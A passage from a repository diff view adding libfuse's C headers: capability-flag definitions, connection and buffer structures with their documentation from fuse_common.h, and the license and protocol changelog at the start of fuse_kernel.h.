     132 + * Indicates that the filesystem supports asynchronous read requests.
     133 + *
     134 + * If this capability is not requested/available, the kernel will
     135 + * ensure that there is at most one pending read request per
     136 + * file-handle at any time, and will attempt to order read requests by
     137 + * increasing offset.
     138 + *
     139 + * This feature is enabled by default when supported by the kernel.
     140 + */
     141 +#define FUSE_CAP_ASYNC_READ (1 << 0)
     142 + 
     143 +/**
     144 + * Indicates that the filesystem supports "remote" locking.
     145 + *
     146 + * This feature is enabled by default when supported by the kernel,
     147 + * and if getlk() and setlk() handlers are implemented.
     148 + */
     149 +#define FUSE_CAP_POSIX_LOCKS (1 << 1)
     150 + 
     151 +/**
     152 + * Indicates that the filesystem supports the O_TRUNC open flag. If
     153 + * disabled, and an application specifies O_TRUNC, fuse first calls
     154 + * truncate() and then open() with O_TRUNC filtered out.
     155 + *
     156 + * This feature is enabled by default when supported by the kernel.
     157 + */
     158 +#define FUSE_CAP_ATOMIC_O_TRUNC (1 << 3)
     159 + 
     160 +/**
     161 + * Indicates that the filesystem supports lookups of "." and "..".
     162 + *
     163 + * This feature is disabled by default.
     164 + */
     165 +#define FUSE_CAP_EXPORT_SUPPORT (1 << 4)
     166 + 
     167 +/**
     168 + * Indicates that the kernel should not apply the umask to the
     169 + * file mode on create operations.
     170 + *
     171 + * This feature is disabled by default.
     172 + */
     173 +#define FUSE_CAP_DONT_MASK (1 << 6)
     174 + 
     175 +/**
     176 + * Indicates that libfuse should try to use splice() when writing to
     177 + * the fuse device. This may improve performance.
     178 + *
     179 + * This feature is disabled by default.
     180 + */
     181 +#define FUSE_CAP_SPLICE_WRITE (1 << 7)
     182 + 
     183 +/**
     184 + * Indicates that libfuse should try to move pages instead of copying when
     185 + * writing to / reading from the fuse device. This may improve performance.
     186 + *
     187 + * This feature is disabled by default.
     188 + */
     189 +#define FUSE_CAP_SPLICE_MOVE (1 << 8)
     190 + 
     191 +/**
     192 + * Indicates that libfuse should try to use splice() when reading from
     193 + * the fuse device. This may improve performance.
     194 + *
     195 + * This feature is enabled by default when supported by the kernel and
     196 + * if the filesystem implements a write_buf() handler.
     197 + */
     198 +#define FUSE_CAP_SPLICE_READ (1 << 9)
     199 + 
     200 +/**
     201 + * If set, the calls to flock(2) will be emulated using POSIX locks and must
     202 + * then be handled by the filesystem's setlock() handler.
     203 + *
     204 + * If not set, flock(2) calls will be handled by the FUSE kernel module
     205 + * internally (so any access that does not go through the kernel cannot be taken
     206 + * into account).
     207 + *
     208 + * This feature is enabled by default when supported by the kernel and
     209 + * if the filesystem implements a flock() handler.
     210 + */
     211 +#define FUSE_CAP_FLOCK_LOCKS (1 << 10)
     212 + 
     213 +/**
     214 + * Indicates that the filesystem supports ioctl's on directories.
     215 + *
     216 + * This feature is enabled by default when supported by the kernel.
     217 + */
     218 +#define FUSE_CAP_IOCTL_DIR (1 << 11)
     219 + 
     220 +/**
     221 + * Traditionally, while a file is open the FUSE kernel module only
     222 + * asks the filesystem for an update of the file's attributes when a
     223 + * client attempts to read beyond EOF. This is unsuitable for
     224 + * e.g. network filesystems, where the file contents may change
     225 + * without the kernel knowing about it.
     226 + *
     227 + * If this flag is set, FUSE will check the validity of the attributes
     228 + * on every read. If the attributes are no longer valid (i.e., if the
     229 + * *attr_timeout* passed to fuse_reply_attr() or set in `struct
     230 + * fuse_entry_param` has passed), it will first issue a `getattr`
     231 + * request. If the new mtime differs from the previous value, any
     232 + * cached file *contents* will be invalidated as well.
     233 + *
     234 + * This flag should always be set when available. If all file changes
     235 + * go through the kernel, *attr_timeout* should be set to a very large
     236 + * number to avoid unnecessary getattr() calls.
     237 + *
     238 + * This feature is enabled by default when supported by the kernel.
     239 + */
     240 +#define FUSE_CAP_AUTO_INVAL_DATA (1 << 12)
     241 + 
     242 +/**
     243 + * Indicates that the filesystem supports readdirplus.
     244 + *
     245 + * This feature is enabled by default when supported by the kernel and if the
     246 + * filesystem implements a readdirplus() handler.
     247 + */
     248 +#define FUSE_CAP_READDIRPLUS (1 << 13)
     249 + 
     250 +/**
     251 + * Indicates that the filesystem supports adaptive readdirplus.
     252 + *
     253 + * If FUSE_CAP_READDIRPLUS is not set, this flag has no effect.
     254 + *
     255 + * If FUSE_CAP_READDIRPLUS is set and this flag is not set, the kernel
     256 + * will always issue readdirplus() requests to retrieve directory
     257 + * contents.
     258 + *
     259 + * If FUSE_CAP_READDIRPLUS is set and this flag is set, the kernel
     260 + * will issue both readdir() and readdirplus() requests, depending on
     261 + * how much information is expected to be required.
     262 + *
     263 + * As of Linux 4.20, the algorithm is as follows: when userspace
     264 + * starts to read directory entries, issue a READDIRPLUS request to
     265 + * the filesystem. If any entry attributes have been looked up by the
     266 + * time userspace requests the next batch of entries continue with
     267 + * READDIRPLUS, otherwise switch to plain READDIR. This will reasult
     268 + * in eg plain "ls" triggering READDIRPLUS first then READDIR after
     269 + * that because it doesn't do lookups. "ls -l" should result in all
     270 + * READDIRPLUS, except if dentries are already cached.
     271 + *
     272 + * This feature is enabled by default when supported by the kernel and
     273 + * if the filesystem implements both a readdirplus() and a readdir()
     274 + * handler.
     275 + */
     276 +#define FUSE_CAP_READDIRPLUS_AUTO (1 << 14)
     277 + 
     278 +/**
     279 + * Indicates that the filesystem supports asynchronous direct I/O submission.
     280 + *
     281 + * If this capability is not requested/available, the kernel will ensure that
     282 + * there is at most one pending read and one pending write request per direct
     283 + * I/O file-handle at any time.
     284 + *
     285 + * This feature is enabled by default when supported by the kernel.
     286 + */
     287 +#define FUSE_CAP_ASYNC_DIO (1 << 15)
     288 + 
     289 +/**
     290 + * Indicates that writeback caching should be enabled. This means that
     291 + * individual write request may be buffered and merged in the kernel
     292 + * before they are send to the filesystem.
     293 + *
     294 + * This feature is disabled by default.
     295 + */
     296 +#define FUSE_CAP_WRITEBACK_CACHE (1 << 16)
     297 + 
     298 +/**
     299 + * Indicates support for zero-message opens. If this flag is set in
     300 + * the `capable` field of the `fuse_conn_info` structure, then the
     301 + * filesystem may return `ENOSYS` from the open() handler to indicate
     302 + * success. Further attempts to open files will be handled in the
     303 + * kernel. (If this flag is not set, returning ENOSYS will be treated
     304 + * as an error and signaled to the caller).
     305 + *
     306 + * Setting (or unsetting) this flag in the `want` field has *no
     307 + * effect*.
     308 + */
     309 +#define FUSE_CAP_NO_OPEN_SUPPORT (1 << 17)
     310 + 
     311 +/**
     312 + * Indicates support for parallel directory operations. If this flag
     313 + * is unset, the FUSE kernel module will ensure that lookup() and
     314 + * readdir() requests are never issued concurrently for the same
     315 + * directory.
     316 + *
     317 + * This feature is enabled by default when supported by the kernel.
     318 + */
     319 +#define FUSE_CAP_PARALLEL_DIROPS (1 << 18)
     320 + 
     321 +/**
     322 + * Indicates support for POSIX ACLs.
     323 + *
     324 + * If this feature is enabled, the kernel will cache and have
     325 + * responsibility for enforcing ACLs. ACL will be stored as xattrs and
     326 + * passed to userspace, which is responsible for updating the ACLs in
     327 + * the filesystem, keeping the file mode in sync with the ACL, and
     328 + * ensuring inheritance of default ACLs when new filesystem nodes are
     329 + * created. Note that this requires that the file system is able to
     330 + * parse and interpret the xattr representation of ACLs.
     331 + *
     332 + * Enabling this feature implicitly turns on the
     333 + * ``default_permissions`` mount option (even if it was not passed to
     334 + * mount(2)).
     335 + *
     336 + * This feature is disabled by default.
     337 + */
     338 +#define FUSE_CAP_POSIX_ACL (1 << 19)
     339 + 
     340 +/**
     341 + * Indicates that the filesystem is responsible for unsetting
     342 + * setuid and setgid bits when a file is written, truncated, or
     343 + * its owner is changed.
     344 + *
     345 + * This feature is enabled by default when supported by the kernel.
     346 + */
     347 +#define FUSE_CAP_HANDLE_KILLPRIV (1 << 20)
     348 + 
     349 +/**
     350 + * Indicates that the kernel supports caching symlinks in its page cache.
     351 + *
     352 + * When this feature is enabled, symlink targets are saved in the page cache.
     353 + * You can invalidate a cached link by calling:
     354 + * `fuse_lowlevel_notify_inval_inode(se, ino, 0, 0);`
     355 + *
     356 + * This feature is disabled by default.
     357 + * If the kernel supports it (>= 4.20), you can enable this feature by
     358 + * setting this flag in the `want` field of the `fuse_conn_info` structure.
     359 + */
     360 +#define FUSE_CAP_CACHE_SYMLINKS (1 << 23)
     361 + 
     362 +/**
     363 + * Indicates support for zero-message opendirs. If this flag is set in
     364 + * the `capable` field of the `fuse_conn_info` structure, then the filesystem
     365 + * may return `ENOSYS` from the opendir() handler to indicate success. Further
     366 + * opendir and releasedir messages will be handled in the kernel. (If this
     367 + * flag is not set, returning ENOSYS will be treated as an error and signalled
     368 + * to the caller.)
     369 + *
     370 + * Setting (or unsetting) this flag in the `want` field has *no effect*.
     371 + */
     372 +#define FUSE_CAP_NO_OPENDIR_SUPPORT (1 << 24)
     373 + 
     374 +/**
     375 + * Indicates support for invalidating cached pages only on explicit request.
     376 + *
     377 + * If this flag is set in the `capable` field of the `fuse_conn_info` structure,
     378 + * then the FUSE kernel module supports invalidating cached pages only on
     379 + * explicit request by the filesystem through fuse_lowlevel_notify_inval_inode()
     380 + * or fuse_invalidate_path().
     381 + *
     382 + * By setting this flag in the `want` field of the `fuse_conn_info` structure,
     383 + * the filesystem is responsible for invalidating cached pages through explicit
     384 + * requests to the kernel.
     385 + *
     386 + * Note that setting this flag does not prevent the cached pages from being
     387 + * flushed by OS itself and/or through user actions.
     388 + *
     389 + * Note that if both FUSE_CAP_EXPLICIT_INVAL_DATA and FUSE_CAP_AUTO_INVAL_DATA
     390 + * are set in the `capable` field of the `fuse_conn_info` structure then
     391 + * FUSE_CAP_AUTO_INVAL_DATA takes precedence.
     392 + *
     393 + * This feature is disabled by default.
     394 + */
     395 +#define FUSE_CAP_EXPLICIT_INVAL_DATA (1 << 25)
     396 + 
     397 +/**
     398 + * Ioctl flags
     399 + *
     400 + * FUSE_IOCTL_COMPAT: 32bit compat ioctl on 64bit machine
     401 + * FUSE_IOCTL_UNRESTRICTED: not restricted to well-formed ioctls, retry allowed
     402 + * FUSE_IOCTL_RETRY: retry with new iovecs
     403 + * FUSE_IOCTL_DIR: is a directory
     404 + *
     405 + * FUSE_IOCTL_MAX_IOV: maximum of in_iovecs + out_iovecs
     406 + */
     407 +#define FUSE_IOCTL_COMPAT (1 << 0)
     408 +#define FUSE_IOCTL_UNRESTRICTED (1 << 1)
     409 +#define FUSE_IOCTL_RETRY (1 << 2)
     410 +#define FUSE_IOCTL_DIR (1 << 4)
     411 + 
     412 +#define FUSE_IOCTL_MAX_IOV 256
     413 + 
     414 +/**
     415 + * Connection information, passed to the ->init() method
     416 + *
     417 + * Some of the elements are read-write, these can be changed to
     418 + * indicate the value requested by the filesystem. The requested
     419 + * value must usually be smaller than the indicated value.
     420 + */
     421 +struct fuse_conn_info {
     422 + /**
     423 + * Major version of the protocol (read-only)
     424 + */
     425 + unsigned proto_major;
     426 + 
     427 + /**
     428 + * Minor version of the protocol (read-only)
     429 + */
     430 + unsigned proto_minor;
     431 + 
     432 + /**
     433 + * Maximum size of the write buffer
     434 + */
     435 + unsigned max_write;
     436 + 
     437 + /**
     438 + * Maximum size of read requests. A value of zero indicates no
     439 + * limit. However, even if the filesystem does not specify a
     440 + * limit, the maximum size of read requests will still be
     441 + * limited by the kernel.
     442 + *
     443 + * NOTE: For the time being, the maximum size of read requests
     444 + * must be set both here *and* passed to fuse_session_new()
     445 + * using the ``-o max_read=<n>`` mount option. At some point
     446 + * in the future, specifying the mount option will no longer
     447 + * be necessary.
     448 + */
     449 + unsigned max_read;
     450 + 
     451 + /**
     452 + * Maximum readahead
     453 + */
     454 + unsigned max_readahead;
     455 + 
     456 + /**
     457 + * Capability flags that the kernel supports (read-only)
     458 + */
     459 + unsigned capable;
     460 + 
     461 + /**
     462 + * Capability flags that the filesystem wants to enable.
     463 + *
     464 + * libfuse attempts to initialize this field with
     465 + * reasonable default values before calling the init() handler.
     466 + */
     467 + unsigned want;
     468 + 
     469 + /**
     470 + * Maximum number of pending "background" requests. A
     471 + * background request is any type of request for which the
     472 + * total number is not limited by other means. As of kernel
     473 + * 4.8, only two types of requests fall into this category:
     474 + *
     475 + * 1. Read-ahead requests
     476 + * 2. Asynchronous direct I/O requests
     477 + *
     478 + * Read-ahead requests are generated (if max_readahead is
     479 + * non-zero) by the kernel to preemptively fill its caches
     480 + * when it anticipates that userspace will soon read more
     481 + * data.
     482 + *
     483 + * Asynchronous direct I/O requests are generated if
     484 + * FUSE_CAP_ASYNC_DIO is enabled and userspace submits a large
     485 + * direct I/O request. In this case the kernel will internally
     486 + * split it up into multiple smaller requests and submit them
     487 + * to the filesystem concurrently.
     488 + *
     489 + * Note that the following requests are *not* background
     490 + * requests: writeback requests (limited by the kernel's
     491 + * flusher algorithm), regular (i.e., synchronous and
     492 + * buffered) userspace read/write requests (limited to one per
     493 + * thread), asynchronous read requests (Linux's io_submit(2)
     494 + * call actually blocks, so these are also limited to one per
     495 + * thread).
     496 + */
     497 + unsigned max_background;
     498 + 
     499 + /**
     500 + * Kernel congestion threshold parameter. If the number of pending
     501 + * background requests exceeds this number, the FUSE kernel module will
     502 + * mark the filesystem as "congested". This instructs the kernel to
     503 + * expect that queued requests will take some time to complete, and to
     504 + * adjust its algorithms accordingly (e.g. by putting a waiting thread
     505 + * to sleep instead of using a busy-loop).
     506 + */
     507 + unsigned congestion_threshold;
     508 + 
     509 + /**
     510 + * When FUSE_CAP_WRITEBACK_CACHE is enabled, the kernel is responsible
     511 + * for updating mtime and ctime when write requests are received. The
     512 + * updated values are passed to the filesystem with setattr() requests.
     513 + * However, if the filesystem does not support the full resolution of
     514 + * the kernel timestamps (nanoseconds), the mtime and ctime values used
     515 + * by kernel and filesystem will differ (and result in an apparent
     516 + * change of times after a cache flush).
     517 + *
     518 + * To prevent this problem, this variable can be used to inform the
     519 + * kernel about the timestamp granularity supported by the file-system.
     520 + * The value should be power of 10. The default is 1, i.e. full
     521 + * nano-second resolution. Filesystems supporting only second resolution
     522 + * should set this to 1000000000.
     523 + */
     524 + unsigned time_gran;
     525 + 
     526 + /**
     527 + * For future use.
     528 + */
     529 + unsigned reserved[22];
     530 +};
     531 + 
     532 +struct fuse_session;
     533 +struct fuse_pollhandle;
     534 +struct fuse_conn_info_opts;
     535 + 
     536 +/**
     537 + * This function parses several command-line options that can be used
     538 + * to override elements of struct fuse_conn_info. The pointer returned
     539 + * by this function should be passed to the
     540 + * fuse_apply_conn_info_opts() method by the file system's init()
     541 + * handler.
     542 + *
     543 + * Before using this function, think twice if you really want these
     544 + * parameters to be adjustable from the command line. In most cases,
     545 + * they should be determined by the file system internally.
     546 + *
     547 + * The following options are recognized:
     548 + *
     549 + * -o max_write=N sets conn->max_write
     550 + * -o max_readahead=N sets conn->max_readahead
     551 + * -o max_background=N sets conn->max_background
     552 + * -o congestion_threshold=N sets conn->congestion_threshold
     553 + * -o async_read sets FUSE_CAP_ASYNC_READ in conn->want
     554 + * -o sync_read unsets FUSE_CAP_ASYNC_READ in conn->want
     555 + * -o atomic_o_trunc sets FUSE_CAP_ATOMIC_O_TRUNC in conn->want
     556 + * -o no_remote_lock Equivalent to -o no_remote_flock,no_remote_posix_lock
     557 + * -o no_remote_flock Unsets FUSE_CAP_FLOCK_LOCKS in conn->want
     558 + * -o no_remote_posix_lock Unsets FUSE_CAP_POSIX_LOCKS in conn->want
     559 + * -o [no_]splice_write (un-)sets FUSE_CAP_SPLICE_WRITE in conn->want
     560 + * -o [no_]splice_move (un-)sets FUSE_CAP_SPLICE_MOVE in conn->want
     561 + * -o [no_]splice_read (un-)sets FUSE_CAP_SPLICE_READ in conn->want
     562 + * -o [no_]auto_inval_data (un-)sets FUSE_CAP_AUTO_INVAL_DATA in conn->want
     563 + * -o readdirplus=no unsets FUSE_CAP_READDIRPLUS in conn->want
     564 + * -o readdirplus=yes sets FUSE_CAP_READDIRPLUS and unsets
     565 + * FUSE_CAP_READDIRPLUS_AUTO in conn->want
     566 + * -o readdirplus=auto sets FUSE_CAP_READDIRPLUS and
     567 + * FUSE_CAP_READDIRPLUS_AUTO in conn->want
     568 + * -o [no_]async_dio (un-)sets FUSE_CAP_ASYNC_DIO in conn->want
     569 + * -o [no_]writeback_cache (un-)sets FUSE_CAP_WRITEBACK_CACHE in conn->want
     570 + * -o time_gran=N sets conn->time_gran
     571 + *
     572 + * Known options will be removed from *args*, unknown options will be
     573 + * passed through unchanged.
     574 + *
     575 + * @param args argument vector (input+output)
     576 + * @return parsed options
     577 + **/
     578 +struct fuse_conn_info_opts* fuse_parse_conn_info_opts(struct fuse_args *args);
     579 + 
     580 +/**
     581 + * This function applies the (parsed) parameters in *opts* to the
     582 + * *conn* pointer. It may modify the following fields: wants,
     583 + * max_write, max_readahead, congestion_threshold, max_background,
     584 + * time_gran. A field is only set (or unset) if the corresponding
     585 + * option has been explicitly set.
     586 + */
     587 +void fuse_apply_conn_info_opts(struct fuse_conn_info_opts *opts,
     588 + struct fuse_conn_info *conn);
     589 + 
     590 +/**
     591 + * Go into the background
     592 + *
     593 + * @param foreground if true, stay in the foreground
     594 + * @return 0 on success, -1 on failure
     595 + */
     596 +int fuse_daemonize(int foreground);
     597 + 
     598 +/**
     599 + * Get the version of the library
     600 + *
     601 + * @return the version
     602 + */
     603 +int fuse_version(void);
     604 + 
     605 +/**
     606 + * Get the full package version string of the library
     607 + *
     608 + * @return the package version
     609 + */
     610 +const char *fuse_pkgversion(void);
     611 + 
     612 +/**
     613 + * Destroy poll handle
     614 + *
     615 + * @param ph the poll handle
     616 + */
     617 +void fuse_pollhandle_destroy(struct fuse_pollhandle *ph);
     618 + 
     619 +/* ----------------------------------------------------------- *
     620 + * Data buffer *
     621 + * ----------------------------------------------------------- */
     622 + 
     623 +/**
     624 + * Buffer flags
     625 + */
     626 +enum fuse_buf_flags {
     627 + /**
     628 + * Buffer contains a file descriptor
     629 + *
     630 + * If this flag is set, the .fd field is valid, otherwise the
     631 + * .mem fields is valid.
     632 + */
     633 + FUSE_BUF_IS_FD = (1 << 1),
     634 + 
     635 + /**
     636 + * Seek on the file descriptor
     637 + *
     638 + * If this flag is set then the .pos field is valid and is
     639 + * used to seek to the given offset before performing
     640 + * operation on file descriptor.
     641 + */
     642 + FUSE_BUF_FD_SEEK = (1 << 2),
     643 + 
     644 + /**
     645 + * Retry operation on file descriptor
     646 + *
     647 + * If this flag is set then retry operation on file descriptor
     648 + * until .size bytes have been copied or an error or EOF is
     649 + * detected.
     650 + */
     651 + FUSE_BUF_FD_RETRY = (1 << 3)
     652 +};
     653 + 
     654 +/**
     655 + * Buffer copy flags
     656 + */
     657 +enum fuse_buf_copy_flags {
     658 + /**
     659 + * Don't use splice(2)
     660 + *
     661 + * Always fall back to using read and write instead of
     662 + * splice(2) to copy data from one file descriptor to another.
     663 + *
     664 + * If this flag is not set, then only fall back if splice is
     665 + * unavailable.
     666 + */
     667 + FUSE_BUF_NO_SPLICE = (1 << 1),
     668 + 
     669 + /**
     670 + * Force splice
     671 + *
     672 + * Always use splice(2) to copy data from one file descriptor
     673 + * to another. If splice is not available, return -EINVAL.
     674 + */
     675 + FUSE_BUF_FORCE_SPLICE = (1 << 2),
     676 + 
     677 + /**
     678 + * Try to move data with splice.
     679 + *
     680 + * If splice is used, try to move pages from the source to the
     681 + * destination instead of copying. See documentation of
     682 + * SPLICE_F_MOVE in splice(2) man page.
     683 + */
     684 + FUSE_BUF_SPLICE_MOVE = (1 << 3),
     685 + 
     686 + /**
     687 + * Don't block on the pipe when copying data with splice
     688 + *
     689 + * Makes the operations on the pipe non-blocking (if the pipe
     690 + * is full or empty). See SPLICE_F_NONBLOCK in the splice(2)
     691 + * man page.
     692 + */
     693 + FUSE_BUF_SPLICE_NONBLOCK= (1 << 4)
     694 +};
     695 + 
     696 +/**
     697 + * Single data buffer
     698 + *
     699 + * Generic data buffer for I/O, extended attributes, etc... Data may
     700 + * be supplied as a memory pointer or as a file descriptor
     701 + */
     702 +struct fuse_buf {
     703 + /**
     704 + * Size of data in bytes
     705 + */
     706 + size_t size;
     707 + 
     708 + /**
     709 + * Buffer flags
     710 + */
     711 + enum fuse_buf_flags flags;
     712 + 
     713 + /**
     714 + * Memory pointer
     715 + *
     716 + * Used unless FUSE_BUF_IS_FD flag is set.
     717 + */
     718 + void *mem;
     719 + 
     720 + /**
     721 + * File descriptor
     722 + *
     723 + * Used if FUSE_BUF_IS_FD flag is set.
     724 + */
     725 + int fd;
     726 + 
     727 + /**
     728 + * File position
     729 + *
     730 + * Used if FUSE_BUF_FD_SEEK flag is set.
     731 + */
     732 + off_t pos;
     733 +};
     734 + 
     735 +/**
     736 + * Data buffer vector
     737 + *
     738 + * An array of data buffers, each containing a memory pointer or a
     739 + * file descriptor.
     740 + *
     741 + * Allocate dynamically to add more than one buffer.
     742 + */
     743 +struct fuse_bufvec {
     744 + /**
     745 + * Number of buffers in the array
     746 + */
     747 + size_t count;
     748 + 
     749 + /**
     750 + * Index of current buffer within the array
     751 + */
     752 + size_t idx;
     753 + 
     754 + /**
     755 + * Current offset within the current buffer
     756 + */
     757 + size_t off;
     758 + 
     759 + /**
     760 + * Array of buffers
     761 + */
     762 + struct fuse_buf buf[1];
     763 +};
     764 + 
     765 +/* Initialize bufvec with a single buffer of given size */
     766 +#define FUSE_BUFVEC_INIT(size__) \
     767 + ((struct fuse_bufvec) { \
     768 + /* .count= */ 1, \
     769 + /* .idx = */ 0, \
     770 + /* .off = */ 0, \
     771 + /* .buf = */ { /* [0] = */ { \
     772 + /* .size = */ (size__), \
     773 + /* .flags = */ (enum fuse_buf_flags) 0, \
     774 + /* .mem = */ NULL, \
     775 + /* .fd = */ -1, \
     776 + /* .pos = */ 0, \
     777 + } } \
     778 + } )
     779 + 
     780 +/**
     781 + * Get total size of data in a fuse buffer vector
     782 + *
     783 + * @param bufv buffer vector
     784 + * @return size of data
     785 + */
     786 +size_t fuse_buf_size(const struct fuse_bufvec *bufv);
     787 + 
     788 +/**
     789 + * Copy data from one buffer vector to another
     790 + *
     791 + * @param dst destination buffer vector
     792 + * @param src source buffer vector
     793 + * @param flags flags controlling the copy
     794 + * @return actual number of bytes copied or -errno on error
     795 + */
     796 +ssize_t fuse_buf_copy(struct fuse_bufvec *dst, struct fuse_bufvec *src,
     797 + enum fuse_buf_copy_flags flags);
     798 + 
     799 +/* ----------------------------------------------------------- *
     800 + * Signal handling *
     801 + * ----------------------------------------------------------- */
     802 + 
     803 +/**
     804 + * Exit session on HUP, TERM and INT signals and ignore PIPE signal
     805 + *
     806 + * Stores session in a global variable. May only be called once per
     807 + * process until fuse_remove_signal_handlers() is called.
     808 + *
     809 + * Once either of the POSIX signals arrives, the signal handler calls
     810 + * fuse_session_exit().
     811 + *
     812 + * @param se the session to exit
     813 + * @return 0 on success, -1 on failure
     814 + *
     815 + * See also:
     816 + * fuse_remove_signal_handlers()
     817 + */
     818 +int fuse_set_signal_handlers(struct fuse_session *se);
     819 + 
     820 +/**
     821 + * Restore default signal handlers
     822 + *
     823 + * Resets global session. After this fuse_set_signal_handlers() may
     824 + * be called again.
     825 + *
     826 + * @param se the same session as given in fuse_set_signal_handlers()
     827 + *
     828 + * See also:
     829 + * fuse_set_signal_handlers()
     830 + */
     831 +void fuse_remove_signal_handlers(struct fuse_session *se);
     832 + 
     833 +/* ----------------------------------------------------------- *
     834 + * Compatibility stuff *
     835 + * ----------------------------------------------------------- */
     836 + 
     837 +#if !defined(FUSE_USE_VERSION) || FUSE_USE_VERSION < 30
     838 +# error only API version 30 or greater is supported
     839 +#endif
     840 + 
     841 +#ifdef __cplusplus
     842 +}
     843 +#endif
     844 + 
     845 + 
     846 +/*
     847 + * This interface uses 64 bit off_t.
     848 + *
     849 + * On 32bit systems please add -D_FILE_OFFSET_BITS=64 to your compile flags!
     850 + */
     851 + 
     852 +#if defined(__GNUC__) && (__GNUC__ > 4 || __GNUC__ == 4 && __GNUC_MINOR__ >= 6) && !defined __cplusplus
     853 +_Static_assert(sizeof(off_t) == 8, "fuse: off_t must be 64bit");
     854 +#else
     855 +struct _fuse_off_t_must_be_64bit_dummy_struct \
     856 + { unsigned _fuse_off_t_must_be_64bit:((sizeof(off_t) == 8) ? 1 : -1); };
     857 +#endif
     858 + 
     859 +#endif /* FUSE_COMMON_H_ */
     860 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_kernel.h
     1 +/* SPDX-License-Identifier: ((GPL-2.0 WITH Linux-syscall-note) OR BSD-2-Clause) */
     2 +/*
     3 + This file defines the kernel interface of FUSE
     4 + Copyright (C) 2001-2008 Miklos Szeredi <[email protected]>
     5 + 
     6 + This program can be distributed under the terms of the GNU GPL.
     7 + See the file COPYING.
     8 + 
     9 + This -- and only this -- header file may also be distributed under
     10 + the terms of the BSD Licence as follows:
     11 + 
     12 + Copyright (C) 2001-2007 Miklos Szeredi. All rights reserved.
     13 + 
     14 + Redistribution and use in source and binary forms, with or without
     15 + modification, are permitted provided that the following conditions
     16 + are met:
     17 + 1. Redistributions of source code must retain the above copyright
     18 + notice, this list of conditions and the following disclaimer.
     19 + 2. Redistributions in binary form must reproduce the above copyright
     20 + notice, this list of conditions and the following disclaimer in the
     21 + documentation and/or other materials provided with the distribution.
     22 + 
     23 + THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND
     24 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     25 + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
     26 + ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE
     27 + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     28 + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
     29 + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
     30 + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
     31 + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
     32 + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
     33 + SUCH DAMAGE.
     34 +*/
     35 + 
     36 +/*
     37 + * This file defines the kernel interface of FUSE
     38 + *
     39 + * Protocol changelog:
     40 + *
     41 + * 7.9:
     42 + * - new fuse_getattr_in input argument of GETATTR
     43 + * - add lk_flags in fuse_lk_in
     44 + * - add lock_owner field to fuse_setattr_in, fuse_read_in and fuse_write_in
     45 + * - add blksize field to fuse_attr
     46 + * - add file flags field to fuse_read_in and fuse_write_in
     47 + * - Add ATIME_NOW and MTIME_NOW flags to fuse_setattr_in
     48 + *
     49 + * 7.10
     50 + * - add nonseekable open flag
     51 + *
     52 + * 7.11
     53 + * - add IOCTL message
     54 + * - add unsolicited notification support
     55 + * - add POLL message and NOTIFY_POLL notification
     56 + *
     57 + * 7.12
     58 + * - add umask flag to input argument of create, mknod and mkdir
     59 + * - add notification messages for invalidation of inodes and
     60 + * directory entries
     61 + *
     62 + * 7.13
     63 + * - make max number of background requests and congestion threshold
     64 + * tunables
     65 + *
     66 + * 7.14
     67 + * - add splice support to fuse device
     68 + *
     69 + * 7.15
     70 + * - add store notify
     71 + * - add retrieve notify
     72 + *
     73 + * 7.16
     74 + * - add BATCH_FORGET request
     75 + * - FUSE_IOCTL_UNRESTRICTED shall now return with array of 'struct
     76 + * fuse_ioctl_iovec' instead of ambiguous 'struct iovec'
     77 + * - add FUSE_IOCTL_32BIT flag
     78 + *
     79 + * 7.17
     80 + * - add FUSE_FLOCK_LOCKS and FUSE_RELEASE_FLOCK_UNLOCK
     81 + *
     82 + * 7.18
     83 + * - add FUSE_IOCTL_DIR flag
     84 + * - add FUSE_NOTIFY_DELETE
     85 + *
     86 + * 7.19
     87 + * - add FUSE_FALLOCATE
     88 + *
     89 + * 7.20
     90 + * - add FUSE_AUTO_INVAL_DATA
     91 + *
     92 + * 7.21
     93 + * - add FUSE_READDIRPLUS
     94 + * - send the requested events in POLL request
     95 + *
     96 + * 7.22
     97 + * - add FUSE_ASYNC_DIO
     98 + *
     99 + * 7.23
     100 + * - add FUSE_WRITEBACK_CACHE
     101 + * - add time_gran to fuse_init_out
     102 + * - add reserved space to fuse_init_out
     103 + * - add FATTR_CTIME
     104 + * - add ctime and ctimensec to fuse_setattr_in
     105 + * - add FUSE_RENAME2 request
     106 + * - add FUSE_NO_OPEN_SUPPORT flag
     107 + *
     108 + * 7.24
     109 + * - add FUSE_LSEEK for SEEK_HOLE and SEEK_DATA support
     110 + *
     111 + * 7.25
     112 + * - add FUSE_PARALLEL_DIROPS
     113 + *
     114 + * 7.26
     115 + * - add FUSE_HANDLE_KILLPRIV
     116 + * - add FUSE_POSIX_ACL
     117 + *
     118 + * 7.27
     119 + * - add FUSE_ABORT_ERROR
     120 + *
     121 + * 7.28
     122 + * - add FUSE_COPY_FILE_RANGE
     123 + * - add FOPEN_CACHE_DIR
     124 + * - add FUSE_MAX_PAGES, add max_pages to init_out
     125 + * - add FUSE_CACHE_SYMLINKS
     126 + *
     127 + * 7.29
     128 + * - add FUSE_NO_OPENDIR_SUPPORT flag
     129 + *
     130 + * 7.30
     131 + * - add FUSE_EXPLICIT_INVAL_DATA
     132 + * - add FUSE_IOCTL_COMPAT_X32
     133 + *
     134 + * 7.31
     135 + * - add FUSE_WRITE_KILL_PRIV flag
     136 + */
     137 + 
     138 +#ifndef _LINUX_FUSE_H
     139 +#define _LINUX_FUSE_H
     140 + 
     141 +#ifdef __KERNEL__
     142 +#include <linux/types.h>
     143 +#else
     144 +#include <stdint.h>
     145 +#endif
     146 + 
     147 +/*
     148 + * Version negotiation:
     149 + *
